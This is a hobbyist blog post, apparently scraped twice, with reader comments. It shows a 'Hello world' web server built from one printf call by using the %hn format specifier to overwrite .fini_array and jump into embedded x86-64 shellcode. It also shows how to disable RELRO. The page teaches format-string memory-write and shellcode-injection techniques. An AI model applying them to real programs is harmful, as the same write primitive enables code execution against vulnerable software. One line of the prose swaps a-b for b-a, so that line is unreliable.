"\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23563#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Δ Post navigation Previous Previous post: Raspberry Pi for Out of Band Linux PC management Next Next post: Exploiting the Futex Bug and uncovering Towelroot Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress | 2026-01-13T08:47:54 |
